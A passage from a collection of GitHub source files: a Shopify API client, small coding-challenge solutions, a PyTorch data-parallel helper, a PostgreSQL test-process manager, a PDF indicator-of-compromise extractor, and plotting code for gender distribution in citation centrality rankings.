hmac.compare_digest(_signature_b64, signature_b)\r\n else:\r\n _signature = hmac.new(key_b, data, hashlib.sha256).hexdigest()\r\n _signature_b = appier.legacy.bytes(_signature)\r\n valid = hmac.compare_digest(_signature_b, signature_b)\r\n\r\n appier.verify(\r\n valid,\r\n message = \"Request signature is not valid\",\r\n exception = appier.SecurityError\r\n )\r\n\r\n def _build_url(self):\r\n if not self.api_key:\r\n raise appier.OperationalError(message = \"No API key provided\")\r\n if not self.password:\r\n raise appier.OperationalError(message = \"No password provided\")\r\n if not self.store_url:\r\n raise appier.OperationalError(message = \"No store URL provided\")\r\n self.base_url = \"https://%s:%s@%s/\" % (\r\n self.api_key, self.password, self.store_url\r\n )\r\n self.website_url = \"http://%s/\" % (self.website_url or self.store_url)\r\n self.admin_url = self.base_url + \"admin/%s\" %\\\r\n ((\"api/%s/\" % self.api_version) if self.api_version else \"\")\r\n\r\nclass OAuthAPI(appier.OAuth2API, API):\r\n\r\n def __init__(self, *args, **kwargs):\r\n appier.OAuth2API.__init__(self, *args, **kwargs)\r\n API.__init__(self, *args, **kwargs)\r\n self.client_id = appier.conf(\"SHOPIFY_ID\", CLIENT_ID)\r\n self.secret = appier.conf(\"SHOPIFY_SECRET\", CLIENT_SECRET)\r\n self.redirect_url = appier.conf(\"SHOPIFY_REDIRECT_URL\", REDIRECT_URL)\r\n self.store_url = appier.conf(\"SHOPIFY_STORE\", None)\r\n self.client_id = kwargs.get(\"client_id\", self.client_id)\r\n self.secret = kwargs.get(\"secret\", self.secret)\r\n self.redirect_url = kwargs.get(\"redirect_url\", self.redirect_url)\r\n self.store_url = kwargs.get(\"store_url\", self.store_url)\r\n self.scope = kwargs.get(\"scope\", SCOPE)\r\n self.access_token = kwargs.get(\"access_token\", None)\r\n self.access_mode = kwargs.get(\"access_mode\", None)\r\n self._build_url()\r\n\r\n def oauth_authorize(self, state = None):\r\n url = self.base_url + \"admin/oauth/authorize\"\r\n values = dict(\r\n client_id = self.client_id,\r\n redirect_uri = self.redirect_url,\r\n response_type = \"code\",\r\n scope = \",\".join(self.scope)\r\n )\r\n if self.access_mode: values[\"grant_options[]\"] = self.access_mode\r\n if state: values[\"state\"] = state\r\n data = appier.legacy.urlencode(values)\r\n url = url + \"?\" + data\r\n return url\r\n\r\n def oauth_access(self, code):\r\n url = self.base_url + \"admin/oauth/access_token\"\r\n contents = self.post(\r\n url,\r\n token = False,\r\n client_id = self.client_id,\r\n client_secret = self.client_secret,\r\n code = code\r\n )\r\n self.access_token = contents[\"access_token\"]\r\n self.trigger(\"access_token\", self.access_token)\r\n return self.access_token\r\n\r\n @property\r\n def client_secret(self):\r\n return self.secret\r\n\r\n def _build_url(self):\r\n if not self.store_url:\r\n raise appier.OperationalError(message = \"No store URL provided\")\r\n self.base_url = \"https://%s/\" % self.store_url\r\n self.admin_url = self.base_url + \"admin/%s\" %\\\r\n (\"api/%s/\" % self.api_version if self.api_version else \"\")\r\n\r\n def _fetch_many(\r\n self,\r\n url,\r\n item_name = None,\r\n method_count = None,\r\n limit = 50,\r\n bulk_limit = 250,\r\n all = False,\r\n **kwargs\r\n ):\r\n # creates the sequence that is going to hold the complete set of\r\n # items to be retrieved from the remote data source\r\n items = []\r\n\r\n # creates a variable to store the identifier of the last item that was\r\n # retrieved, assumes this will allow proper pagination of the items\r\n last_id = None\r\n\r\n # sets the initial value of the items remaining to be fetched as the\r\n # limit value, this value will change as the loop continues\r\n item_remaining = limit\r\n\r\n # if \"all\" flag is set to true then sets the the items remaining value\r\n # to the value obtained method count method call\r\n if all:\r\n limit = bulk_limit\r\n item_remaining = method_count()\r\n\r\n # keeps fetching items until there isn't any more items to fetch\r\n while item_remaining > 0:\r\n contents = self.get(\r\n url,\r\n limit = limit,\r\n since_id = last_id,\r\n **kwargs\r\n )\r\n items.extend(contents[item_name or \"items\"])\r\n try:\r\n last_id = items[-1][\"id\"]\r\n except:\r\n return []\r\n item_remaining -= limit\r\n\r\n # returns the final set of items that have been retrieved from the\r\n # remote data source according to the specification\r\n return items\r\n","repo_name":"hivesolutions/shopify-api","sub_path":"src/shopify/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":10916,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"34881764806","text":"def smallestDivisor(self, nums: List[int], threshold: int) -> int:\n left, right = 1, max(nums)\n \n while left < right:\n mid = (left + right) // 2\n \n # Calculate the sum of divisions with current divisor\n total = sum((num + mid - 1) // mid for num in nums)\n \n if total > threshold:\n left = mid + 1\n else:\n right = mid\n \n return left\n","repo_name":"Super3-Codes/competitive-programming","sub_path":"leetcode/smallestDivisor.py","file_name":"smallestDivisor.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70779192907","text":"from torch.nn.parallel import DataParallel # Import DataParallel from PyTorch's nn.parallel module\nimport torch # Import PyTorch library\nfrom torch.nn.parallel._functions import Scatter # Import Scatter function from PyTorch's nn.parallel._functions module\nfrom torch.nn.parallel.parallel_apply import \\\n parallel_apply # Import parallel_apply function from PyTorch's nn.parallel.parallel_apply module\n\n\n# Define scatter function that scatters the input tensor to multiple devices\ndef scatter(inputs, target_gpus, chunk_sizes, dim=0):\n # Define scatter_map function that maps the scatter operation over the input object\n def scatter_map(obj):\n if isinstance(obj, torch.Tensor): # Check if the object is a tensor\n try:\n # Apply scatter operation on tensor with target GPUs, chunk sizes, and specified dimension\n return Scatter.apply(target_gpus, chunk_sizes, dim, obj)\n except: # Catch any exception\n # Print debugging information\n print('obj', obj.size())\n print('dim', dim)\n print('chunk_sizes', chunk_sizes)\n quit() # Exit the program\n # If the object is a tuple with at least one element, apply scatter_map recursively to each element\n if isinstance(obj, tuple) and len(obj) > 0:\n return list(zip(*map(scatter_map, obj)))\n # If the object is a list with at least one element, apply scatter_map recursively to each element\n if isinstance(obj, list) and len(obj) > 0:\n return list(map(list, zip(*map(scatter_map, obj))))\n # If the object is a dictionary with at least one key-value pair, apply scatter_map recursively to each item\n if isinstance(obj, dict) and len(obj) > 0:\n return list(map(type(obj), zip(*map(scatter_map, obj.items()))))\n return [obj for targets in target_gpus] # Return a copy of the object for each target GPU\n\n try:\n return scatter_map(inputs) # Apply scatter_map to the input object\n finally:\n scatter_map = None # Clear scatter_map to free memory\n\n\n# Define scatter_kwargs function to scatter both input tensors and keyword arguments\ndef scatter_kwargs(inputs, kwargs, target_gpus, chunk_sizes, dim=0):\n inputs = scatter(inputs, target_gpus, chunk_sizes, dim) if inputs else [] # Scatter input tensors if any\n kwargs = scatter(kwargs, target_gpus, chunk_sizes, dim) if kwargs else [] # Scatter keyword arguments if any\n if len(inputs) < len(kwargs): # Check if the number of inputs is less than the number of keyword arguments\n inputs.extend([() for _ in range(len(kwargs) - len(inputs))]) # Extend inputs with empty tuples\n elif len(kwargs) < len(inputs): # Check if the number of keyword arguments is less than the number of inputs\n kwargs.extend(\n [{} for _ in range(len(inputs) - len(kwargs))]) # Extend keyword arguments with empty dictionaries\n inputs = tuple(inputs) # Convert inputs to a tuple\n kwargs = tuple(kwargs) # Convert keyword arguments to a tuple\n return inputs, kwargs # Return the scattered inputs and keyword arguments\n\n\n# Define BalancedDataParallel class that extends DataParallel to support balanced data distribution among multiple GPUs\nclass BalancedDataParallel(DataParallel):\n # Initialize the class with GPU 0 batch size, and pass other arguments and keyword arguments to the parent class\n def __init__(self, gpu0_bsz, *args, **kwargs):\n self.gpu0_bsz = gpu0_bsz # Store GPU 0 batch size as an instance variable\n super().__init__(*args,\n **kwargs) # Call the initialization method of the parent class with the remaining args and kwargs\n\n # Define forward method to handle the forward pass of the input through the model\n def forward(self, *inputs, **kwargs):\n if not self.device_ids: # Check if there are no device IDs\n return self.module(*inputs, **kwargs) # Perform the forward pass on the module without data parallelism\n if self.gpu0_bsz == 0: # Check if GPU 0 batch size is set to 0\n device_ids = self.device_ids[1:] # Ignore the first device ID (GPU 0) and use the remaining device IDs\n else:\n device_ids = self.device_ids # Use all the device IDs\n inputs, kwargs = self.scatter(inputs, kwargs,\n device_ids) # Scatter the inputs and kwargs across the target devices\n if len(self.device_ids) == 1: # Check if there is only one device ID\n return self.module(*inputs[0], **kwargs[\n 0]) # Perform the forward pass on the module with the first set of inputs and kwargs\n replicas = self.replicate(self.module, self.device_ids) # Create replicas of the module on each target device\n if self.gpu0_bsz == 0: # Check if GPU 0 batch size is set to 0\n replicas = replicas[1:] # Ignore the first replica (GPU 0) and use the remaining replicas\n outputs = self.parallel_apply(replicas, device_ids, inputs,\n kwargs) # Apply the forward pass in parallel using the replicas, device IDs, inputs, and kwargs\n return self.gather(outputs, self.output_device) # Gather the outputs from all devices to the output device\n\n # Define parallel_apply method that applies the forward pass in parallel using the replicas, device IDs, inputs, and kwargs\n def parallel_apply(self, replicas, device_ids, inputs, kwargs):\n return parallel_apply(replicas, inputs, kwargs,\n device_ids) # Call the parallel_apply function with the given arguments\n\n # Define scatter method that scatters the inputs and kwargs across the target devices\n\n def scatter(self, inputs, kwargs, device_ids):\n bsz = inputs[0].size(self.dim) # Get the batch size from the first input tensor\n num_dev = len(self.device_ids) # Get the number of devices\n gpu0_bsz = self.gpu0_bsz # Get GPU 0 batch size\n bsz_unit = (bsz - gpu0_bsz) // (num_dev - 1) # Calculate the batch size unit for the remaining devices\n if gpu0_bsz < bsz_unit: # Check if GPU 0 batch size is less than the batch size unit\n chunk_sizes = [gpu0_bsz] + [bsz_unit] * (num_dev - 1) # Create a list of chunk sizes for each device\n delta = bsz - sum(\n chunk_sizes) # Calculate the difference between the original batch size and the sum of chunk sizes\n for i in range(delta): # Loop through the range of delta\n chunk_sizes[i + 1] += 1 # Increment the chunk size of the next device to balance the remaining delta\n if gpu0_bsz == 0: # Check if GPU 0 batch size is set to 0\n chunk_sizes = chunk_sizes[1:] # Ignore the first chunk size (GPU 0) and use the remaining chunk sizes\n else: # If GPU 0 batch size is not less than the batch size unit\n return super().scatter(inputs, kwargs,\n device_ids) # Call the scatter method of the parent class with the given inputs, kwargs, and device IDs\n # Call the scatter_kwargs function with the inputs, kwargs, device IDs, chunk sizes, and the scattering\n # dimension\n return scatter_kwargs(inputs, kwargs, device_ids, chunk_sizes, dim=self.dim)\n","repo_name":"Astro-Astre/morphics","sub_path":"models/data_parallel.py","file_name":"data_parallel.py","file_ext":"py","file_size_in_byte":7383,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"70701849547","text":"import xml.etree.ElementTree as a\nfrom os import walk\nimport pandas as q\n\ndef second(filename):\n tree = a.parse('./news/'+file)\n root = tree.getroot()\n name = root.find(\".//*[@name='author']\")\n topic = root.find(\".//*[@name='topic']\")\n return(name.attrib['content']+\":\"+topic.attrib['content'])\n\nf = []\nd = []\np = './news';\nfor (dirpath, dirnames, filenames) in walk(p):\n f.extend(filenames)\nfor file in f:\n tmp = second(file).split(':')\n tmp_arr = [file,tmp[0],tmp[1]]\n d.append(tmp_arr)\ndf = q.DataFrame(d,columns=[\"название\",\"автор\",\"тема\"])\ndf.to_csv(\"2.csv\", sep=';', encoding='windows-1251')\n","repo_name":"ddashon/homework","sub_path":"exam/ex2.py","file_name":"ex2.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"37197446011","text":"import logging\nimport os\nimport shutil\nimport subprocess\nimport tempfile\nfrom typing import Optional\n\nPG_CTL_BIN = \"pg_ctl\"\nINITDB_BIN = \"initdb\"\n\n\nLOGGER = logging.getLogger(__name__)\n\n\ndef find_executable(executable: str) -> Optional[str]:\n \"\"\"\n Scan PATH for an executable.\n \"\"\"\n for path in os.environ.get(\"PATH\", \"\").split(os.pathsep):\n path = os.path.abspath(path)\n executable_path = os.path.join(path, executable)\n if os.path.isfile(executable_path):\n return executable_path\n\n # fall back to pg_config\n try:\n bindir = subprocess.check_output([\"pg_config\", \"--bindir\"], universal_newlines=True).strip()\n binpath = os.path.join(bindir, executable)\n if os.path.isfile(binpath):\n return binpath\n except FileNotFoundError:\n return None\n\n return None\n\n\nclass PostgresProc(object):\n def __init__(\n self, port: int, pg_ctl_bin: Optional[str] = None, initdb_bin: Optional[str] = None, db_path: Optional[str] = None\n ) -> None:\n self.port = port\n self.db_path = db_path\n if self.db_path:\n if os.path.exists(self.db_path) and os.path.isfile(self.db_path):\n raise AssertionError(\"DB path should be a directory, but it is a file.\")\n\n ctl_bin = pg_ctl_bin or find_executable(PG_CTL_BIN)\n assert ctl_bin, f\"Could not find '{PG_CTL_BIN}' or pg_config in system PATH. Make sure you have PostgreSQL installed.\"\n self.pg_ctl_bin: str = ctl_bin\n\n initdb_bin = initdb_bin or find_executable(INITDB_BIN)\n assert (\n initdb_bin\n ), f\"Could not find '{INITDB_BIN}' or pg_config in system PATH. Make sure you have PostgreSQL installed.\"\n self.initdb_bin: str = initdb_bin\n\n def start(self) -> bool:\n \"\"\"\n Start DB.\n\n :return: `True` if instance has been started or `False` if it could not start.\n \"\"\"\n if self.running():\n return True\n\n try:\n old_wc = os.getcwd()\n self._create_db_path()\n assert self.db_path\n self._init_db()\n self._create_sockets_dir(self.db_path)\n\n os.chdir(self.db_path)\n args = [self.pg_ctl_bin, \"start\", \"-D\", \".\", \"-o\", \"-p \" + str(self.port) + \" -k \" + \"sockets\", \"-s\"]\n process = subprocess.Popen(args, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n process.communicate()\n return process.returncode == 0\n except Exception:\n LOGGER.exception(\"Failed to initialize the database.\")\n return False\n finally:\n if old_wc is not None:\n os.chdir(old_wc)\n\n def _create_db_path(self) -> None:\n \"\"\"Create the data directory to store the postgres data in\"\"\"\n if self.db_path:\n if not os.path.exists(self.db_path):\n os.mkdir(self.db_path)\n self._db_path_is_temporary = False\n else:\n self.db_path = tempfile.mkdtemp()\n self._db_path_is_temporary = True\n\n def _create_sockets_dir(self, parent_dir: str) -> str:\n sockets_dir = os.path.join(parent_dir, \"sockets\")\n if not os.path.exists(sockets_dir):\n os.mkdir(sockets_dir)\n return sockets_dir\n\n def _init_db(self) -> None:\n \"\"\"Init the database if it is not a valid postgres data directory\"\"\"\n assert self.db_path\n if os.path.exists(os.path.join(self.db_path, \"PG_VERSION\")):\n return\n\n os.chmod(self.db_path, 0o700)\n args = [self.initdb_bin, \"-D\", self.db_path, \"--auth-host\", \"trust\", \"-U\", \"postgres\"]\n process = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n out, err = process.communicate()\n if process.returncode != 0:\n LOGGER.error(\"Failed to initialize db path\")\n LOGGER.error(\"out: %s\", out)\n LOGGER.error(\"err: %s\", err)\n raise Exception(\"Failed to initialize db path.\")\n\n def stop(self) -> None:\n if not self.running() or not self.db_path:\n return\n args = [self.pg_ctl_bin, \"stop\", \"-D\", self.db_path, \"-m\", \"immediate\", \"-s\"]\n process = subprocess.Popen(args, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n process.communicate()\n if process.returncode != 0:\n raise Exception(\"Failed to stop embedded db.\")\n if self._db_path_is_temporary and self.db_path:\n shutil.rmtree(self.db_path)\n self.db_path = None\n\n def running(self) -> bool:\n if self.db_path is None:\n return False\n args = [self.pg_ctl_bin, \"status\", \"-D\", self.db_path, \"-s\"]\n process = subprocess.Popen(args, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n process.communicate()\n return process.returncode == 0\n","repo_name":"inmanta/inmanta-core","sub_path":"src/inmanta/postgresproc.py","file_name":"postgresproc.py","file_ext":"py","file_size_in_byte":4882,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"82"} +{"seq_id":"21508537404","text":"import fitz\r\nimport iocextract\r\nfrom optparse import OptionParser\r\n\r\nparser = OptionParser(usage='usage: python extractor [-f] file.pdf')\r\nparser.add_option('-f', '--file', \r\n dest='filename',\r\n help='foo help')\r\n(options, args) = parser.parse_args()\r\nif not options.filename: # if filename is not given\r\n parser.error('Filename not given')\r\n\r\n\r\ndoc = fitz.open(options.filename)\r\niocs = []\r\n\r\nfor page in range(doc.pageCount):\r\n\tpageread = doc.loadPage(page)\r\n\ttext = pageread.getText(\"text\")\r\n\tfor ipv4 in iocextract.extract_ipv4s(text):\r\n\t\tiocs.append(ipv4)\r\n\r\nfor page in range(doc.pageCount):\r\n\tpageread = doc.loadPage(page)\r\n\ttext = pageread.getText(\"text\")\r\n\tfor url in iocextract.extract_urls(text):\r\n\t\tiocs.append(url)\r\n\r\niocs = list(dict.fromkeys(iocs))\r\nfor i in iocs:\r\n\tprint(i)","repo_name":"RedFatParrot/ioc_extractor","sub_path":"extractor.py","file_name":"extractor.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"21975903389","text":"\"\"\"\nGroupby - Itertools\n\"\"\"\nfrom itertools import groupby, tee\n\nalunos = [\n {\"nome\": \"Luiz\", \"nota\": \"B\"},\n {\"nome\": \"Leticia\", \"nota\": \"A\"},\n {\"nome\": \"Joana\", \"nota\": \"C\"},\n {\"nome\": \"João\", \"nota\": \"A\"},\n]\nalunos.sort(key=lambda item: item[\"nota\"])\nprint(alunos)\nalunos_agrupados = groupby(alunos, lambda item: item[\"nota\"])\n\n\nfor agrupado, valores in alunos_agrupados:\n va1, va2 = tee(valores)\n print(agrupado)\n quantidade = len(list(va1))\n\n for nome in va2:\n print(f\"{nome['nome']} tirou {nome['nota']}\")\n\n print(f\"{quantidade} alunos tiraram {agrupado}\")\n","repo_name":"IgorBondezam/Aula_Python","sub_path":"Python_Basic/aula43_Groupby.py","file_name":"aula43_Groupby.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"73504046027","text":"s = input()\ni = s.count('+')\n\nl = list(s)\nl.sort()\nIt = l[i:]\nres = ''\nj,k = 0,0\nfor i in range(len(s)):\n\tif i%2:\n\t\tres += l[j]\n\t\tj += 1\n\telse:\n\t\tres += It[k]\n\t\tk += 1\t\nprint(res)\t\t\n","repo_name":"himanshugupta09/Competitive_Programming","sub_path":"339_A_Helpful_maths.py","file_name":"339_A_Helpful_maths.py","file_ext":"py","file_size_in_byte":182,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"7357418412","text":"from matplotlib import pyplot as plt\nimport seaborn as sns\nimport pandas as pd\nimport matplotlib\n# import powerlaw\n\nimport numpy as np\nimport scipy\nfrom scipy.stats import ks_2samp\n\nimport os \nimport itertools\n\nfrom MAG_network import CitationNetwork\n# from matching import Matcher\nimport MAGspark\nimport warnings\n\nwarnings.filterwarnings( \"ignore\", module = \"matplotlib\\..*\" )\n\n\ncolors = {\n 'Psychology': '#617be3',\n 'Chemistry' : '#27496d',\n 'Mathematics': '#007580',\n 'Economics': '#e8505b' \n}\n\nmatplotlib.rcParams['figure.figsize'] = (15.0, 10.0) # default plots are app. same size as notebook\nplt.style.use('ggplot')\n\n\n\ndef plot_group_dist(centrality_df, centrality, interval_size, max_N, protected_group, unprotected, \n show_unknown=True, field_name=None, na_removed=False, ax=None, global_rates=None):\n \n if ax is None:\n fig, ax = plt.subplots()\n \n sorted_df = centrality_df.sort_values(by=centrality, ascending=False)\n \n if global_rates is not None:\n global_rate_protected = global_rates['protected']\n global_rate_unprotected = global_rates['unprotected']\n else: \n global_rate_protected = sorted_df.Gender.value_counts(normalize=True)[protected_group]\n global_rate_unprotected = sorted_df.Gender.value_counts(normalize=True)[unprotected]\n \n normalizer = centrality_df.shape[0]\n \n xticks = []\n y_values = []\n y_values_unprotected = []\n y_values_unknown = []\n \n parity_x = None\n parity_pct = None\n \n for N in range(interval_size, max_N, interval_size):\n \n xticks.append((N / normalizer) * 100)\n top_n_df = sorted_df[:N]\n value_counts = top_n_df.Gender.value_counts(normalize=True)\n \n y_values.append(value_counts[protected_group] if protected_group in value_counts else 0)\n y_values_unprotected.append(value_counts[unprotected] if unprotected in value_counts else 0)\n \n abs_protected = abs(y_values[-1] - global_rate_protected)\n abs_unprotected = abs(y_values_unprotected[-1] - global_rate_unprotected)\n \n \n if parity_x is None and abs_protected <= 0.01 and abs_unprotected <= 0.01:\n parity_pct = (N / normalizer) * 100\n parity_x = N\n \n if show_unknown: y_values_unknown.append(value_counts[-1] if -1 in value_counts else 0)\n \n if show_unknown:\n global_rate_unknown = sorted_df.Gender.value_counts(normalize=True)[-1] \\\n if global_rates is None else global_rates.get('unknown')\n ax.plot(xticks, y_values_unknown, '-o', label=\"N/A\", markersize=3, color=\"#b8b8b8\", alpha=0.2)\n ax.axhline(y=global_rate_unknown, label=\"Total population N/A\", linestyle='--', alpha=0.8, color=\"#b8b8b8\")\n \n \n ax.plot(xticks, y_values, '-o', label=\"Women\", markersize=6, color=\"#6fc9f2\")\n ax.axhline(y=global_rate_protected, label=\"Total population women\", linestyle='--', alpha=1.0, color=\"#6fc9f2\")\n \n \n ax.plot(xticks, y_values_unprotected, '-o', label=\"Men\", markersize=6, color=\"#bd8aff\")\n ax.axhline(y=global_rate_unprotected, label=\"Total population men\", linestyle='--', alpha=1.0, color=\"#bd8aff\")\n \n if parity_x is not None:\n ax.axvline(x=parity_pct, color=\"black\", linestyle='-', label='Parity ($\\pm$ 1 %)')\n ax.text(parity_pct - 6, 0.55, \"{:,} ({} %)\".format(parity_x, int(parity_pct)), rotation=90, alpha=0.8,\n fontsize=20)\n \n if global_rates is None:\n title = \"Group membership in Top N rank ({})\".format(centrality)\n title += \": {}\".format(field_name) if field_name is not None else \"\"\n title += \" Increment = {}\".format(interval_size)\n title += \". N/A removed\" if na_removed else \"\"\n ax.set_title(title, fontsize=12)\n\n ax.set_ylabel(\"Proportion\")\n ax.set_xlabel(\"Top N\")\n \n ax.legend()\n \n if ax is None:\n plt.show()\n \n return y_values, xticks\n\n\n\ndef plot_side_by_side(cent_df, field_name, interval=1000, figsize=(15,12), centrality=\"Pagerank\",\n filepath=None):\n idx = 0\n fig, axs = plt.subplots(nrows=1, ncols=4, figsize=figsize, sharex=False, sharey=True)\n axs = list(axs.flatten())\n \n labelsize = 28\n \n plt.rcParams['axes.labelsize'] = 16\n \n global_rates = {\n 'protected': cent_df.Gender.value_counts(normalize=True)[0],\n 'unprotected': cent_df.Gender.value_counts(normalize=True)[1],\n 'unknown': cent_df.Gender.value_counts(normalize=True)[-1]\n }\n \n cent_df.sort_values(by=centrality, ascending=False, inplace=True)\n \n plot_group_dist(cent_df, centrality, \n interval_size=interval, \n max_N=len(cent_df), \n protected_group=0, \n unprotected=1,\n field_name=field_name, \n ax=axs[0], global_rates=global_rates)\n \n axs[0].set_title(\"Top 100 % of N = {:,} \\n Increment = {}\".format(cent_df.shape[0], interval), \n fontsize=labelsize - 3, color='#363534')\n centrality_format = r\"$\\bf{\" + centrality.replace(\" \", \"\\ \") + \"}$\"\n \n axs[0].set_ylabel( centrality_format + \"\\nGender prop. in top N\", fontsize=labelsize + 2)\n \n if centrality == 'PageRank':\n axs[0].legend(fontsize=labelsize - 10, loc='lower right').set_visible(False)\n else:\n axs[0].legend(fontsize=labelsize - 6, loc='lower right').set_visible(False)\n \n # axs[0].set_yticklabels(axs[0].get_yticklabels(),fontsize=labelsize)\n axs[0].tick_params(axis='y', labelsize=labelsize + 6)\n \n axs[0].set_ylim(-0.05, 1.05)\n # normalize x-axis\n #axs[0].set_xticks( axs[0].get_xticks() / axs[0].get_xticks().max() )\n \n #axs[2].get_xticks() / axs[1].get_xticks().max()\n #axs[2].get_xticks() / axs[1].get_xticks().max()\n \n \n \n cent_df_filtered = cent_df.query(\"Gender != -1\")\n \n global_rates = {\n 'protected': cent_df_filtered.Gender.value_counts(normalize=True)[0],\n 'unprotected': cent_df_filtered.Gender.value_counts(normalize=True)[1],\n }\n \n y, x = plot_group_dist(cent_df_filtered, centrality, \n interval_size=interval,\n max_N=len(cent_df_filtered), \n protected_group=0, \n unprotected=1, \n show_unknown=False,\n na_removed=True,\n field_name=field_name,\n ax=axs[1],\n global_rates=global_rates)\n axs[1].set_title(\"Top 100 % of N = {:,}\\n Increment = {}. N/A removed\".format(cent_df_filtered.shape[0], \n interval), fontsize=labelsize - 3,\n color='#363534')\n axs[1].set_ylabel(None)\n axs[1].legend().set_visible(False)\n \n # 10 %\n cent_df_filtered_ten = cent_df_filtered[:int(cent_df_filtered.shape[0] * 0.1)]\n y, x = plot_group_dist(cent_df_filtered_ten, centrality, \n interval_size=100,\n max_N=len(cent_df_filtered_ten), \n protected_group=0, \n unprotected=1, \n show_unknown=False,\n na_removed=True,\n field_name=field_name,\n ax=axs[2],\n global_rates=global_rates)\n axs[2].set_title(\"Top 10 % of N = {:,}\\n Increment = {}. N/A removed\".format(cent_df_filtered.shape[0],\n 100), \n fontsize=labelsize - 3, color='#363534')\n axs[2].set_ylabel(None)\n axs[2].legend().set_visible(False)\n \n \n cent_df_filtered_one = cent_df_filtered[:int(cent_df_filtered.shape[0] * 0.01)]\n y, x = plot_group_dist(cent_df_filtered_one, centrality, \n interval_size=10,\n max_N=len(cent_df_filtered_one), \n protected_group=0, \n unprotected=1, \n show_unknown=False,\n na_removed=True,\n field_name=field_name,\n ax=axs[3],\n global_rates=global_rates)\n \n axs[3].set_title(\"Top 1 % of N = {:,} \\n Increment = {}. N/A removed\".format(cent_df_filtered.shape[0], 10), \n fontsize=labelsize - 3, color='#363534')\n axs[3].set_ylabel(None)\n axs[3].legend(fontsize=13, loc='right').set_visible(False)\n \n plt.suptitle(\"Gender distribution in top N rankings in \" + r\"$\\bf{\" + field_name + \"}$\", \n fontsize=labelsize + 4, color='#363534')\n plt.tight_layout()\n \n maxval = cent_df.shape[0]\n \n \n xticks = []\n for tick in axs[2].get_xticklabels()[1:-1]:\n tick.set_text(\"{}\".format(int(tick._x / 10)))\n xticks.append(tick)\n axs[2].set_xticklabels(xticks, fontsize=labelsize)\n axs[2].set_xlabel('% of top N', fontsize=labelsize)\n \n \n xticks = []\n for tick in axs[3].get_xticklabels()[1:-1]:\n tick.set_text(\"{0:.1f}\".format(tick._x / 100))\n xticks.append(tick)\n\n axs[3].set_xticklabels(xticks, fontsize=labelsize)\n axs[3].set_xlabel('% of top N', fontsize=labelsize)\n \n axs[3].labelsize = 30\n\n \n for i in range(4):\n axs[i].set_xticks([0. , 20, 40, 60, 80, 100])\n axs[i].set_xlabel('% of top N', fontsize=labelsize)\n axs[i].tick_params(axis='x', labelsize=labelsize + 10, rotation=90)\n \n if filepath is None:\n plt.show()\n else:\n plt.savefig(filepath, bbox_inches='tight', pad_inches=0.2)\n \n return axs\n\n\n\ndef plot_matched_side_by_side(cent_df, field_name, centrality_random_sample, centrality_matched_sample, \n interval=1000, figsize=(15,12), centrality=\"Pagerank\", filepath=None):\n \n idx = 0\n fig, axs = plt.subplots(nrows=1, ncols=3, figsize=figsize, sharex=False, sharey=True)\n axs = list(axs.flatten())\n \n labelsize = 26\n \n cent_df.sort_values(by=centrality, ascending=False, inplace=True)\n\n cent_df.reset_index(inplace=True)\n\n cent_df['rank_position'] = cent_df.index\n rank_position_df = cent_df[['AuthorId', 'rank_position']]\n\n \n centrality_format = r\"$\\bf{\" + centrality.replace(\" \", \"\\ \") + \"}$\"\n \n plot_group_dist(cent_df, centrality, \n interval_size=interval, \n max_N=len(cent_df), \n protected_group=0, \n unprotected=1,\n show_unknown=False,\n na_removed=True,\n field_name=field_name, \n ax=axs[0], global_rates=None)\n \n axs[0].set_title(\"True population \\n N = {:,}\".format(cent_df.shape[0]),\n fontsize=labelsize, color='#363534')\n axs[0].set_ylabel(centrality_format + \"\\nGender prop. in top N\", fontsize=labelsize + 4)\n \n axs[0].tick_params(axis='y', labelsize=labelsize + 8)\n \n axs[0].legend().set_visible(False)\n axs[0].set_ylim(-0.05, 1.05)\n\n print(\"Median rank position of all authors: {}\".format(cent_df['rank_position'].median()))\n \n y, x = plot_group_dist(centrality_random_sample, centrality, \n interval_size=interval,\n max_N=len(centrality_random_sample), \n protected_group=0, \n unprotected=1, \n show_unknown=False,\n na_removed=True,\n field_name=field_name,\n ax=axs[1],\n global_rates=None)\n \n axs[1].set_title(\"Random matching \\n N = {:,}\".format(centrality_random_sample.shape[0]),\n fontsize=labelsize, color='#363534')\n axs[1].set_ylabel(None)\n axs[1].legend().set_visible(False)\n\n print(\"Median rank position of authors in random matching: {}\".format(centrality_random_sample.merge(rank_position_df, how='left', left_on='AuthorId', right_on='AuthorId')['rank_position'].median()))\n \n\n y, x = plot_group_dist(centrality_matched_sample, centrality, \n interval_size=interval,\n max_N=len(centrality_matched_sample), \n protected_group=0, \n unprotected=1, \n show_unknown=False,\n na_removed=True,\n field_name=field_name,\n ax=axs[2],\n global_rates=None)\n\n axs[2].set_title(\"Career and affiliation matching \\n N = {:,}\"\n .format(centrality_matched_sample.shape[0]),\n fontsize=labelsize, color='#363534')\n axs[2].set_ylabel(None)\n \n if centrality == 'PageRank':\n axs[2].legend(loc=\"lower right\", fontsize=labelsize-5).set_visible(False)\n else:\n axs[2].legend(loc=\"lower right\", fontsize=labelsize-6).set_visible(False)\n # print(\"Matched data median: {}\".format(centrality_matched_sample.join(rank_position_df, how='left', on='AuthorId', rsuffix='x')['rank_position'].median()))\n print(\"Median rank position of authors in career and aff. matching: {}\".format(centrality_matched_sample.merge(rank_position_df, how='left', left_on='AuthorId', right_on='AuthorId')['rank_position'].median()))\n \n \n plt.suptitle(\"Gender distribution in Top N ranking in \" + r\"$\\bf{\" + field_name + \"}$ on matched populations\"\n , 